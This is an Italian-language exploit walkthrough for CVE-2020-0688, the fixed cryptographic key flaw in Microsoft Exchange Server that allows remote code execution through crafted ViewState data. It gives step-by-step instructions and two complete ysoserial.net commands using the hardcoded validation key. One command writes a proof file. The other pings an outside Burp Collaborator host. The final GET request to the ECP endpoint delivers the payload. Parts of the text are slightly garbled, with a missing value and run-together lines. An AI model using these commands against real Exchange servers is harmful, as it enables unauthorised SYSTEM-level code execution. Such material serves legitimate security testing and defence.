
[CVE-2020-0688] Microsoft Exchange Server esecuzione remota di codice (RCE) tramite chiave crittografica fissa
[CVE-2020-0688] Microsoft Exchange Server - Esecuzione di codice in remoto (RCE) tramite chiave crittografica fissa
Invece di avere chiavi generate casualmente per ogni installazione, tutte le installazioni di Microsoft Exchange Server hanno gli stessi valori validationKey e decryptionKey in web.config. Pertanto, un attaccante autenticato può indurre il server a deserializzare dati ViewState creati ad arte. Con l'aiuto di YSoSerial.net, un attaccante può eseguire codice .NET arbitrario sul server nel contesto dell'applicazione web Exchange Control Panel (ECP), che viene eseguita con privilegi SYSTEM.
Passo 1: Visita uno dei seguenti endpoint e accedi alla pagina di autenticazione
Passo 2: Accedi con le credenziali (indipendentemente dai privilegi dell'account utente) e ottieni i valori validi di ASP_NET_SessionId e rispettivamente dal cookie della risposta HTTP e dal corpo della risposta HTTP. Per esempio
__VIEWSTATEGENERATORPasso 3: Per generare il payload (per verificare la vulnerabilità), utilizza YSoSerial.net
Nota: se hai accesso al server Exchange della vittima, puoi utilizzare il seguente payload che crea un file di testo nella directory C:\ con il nome PoC.txt
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Tuttavia, se non puoi accedere al server, potrebbe essere meglio la seguente soluzione.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Passo 4: Dopo il passaggio 4, avremo un payload ViewState codificato in URL. Effettua una richiesta GET al seguente endpoint nel formato seguente
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
Il post originale del blog è disponibile qui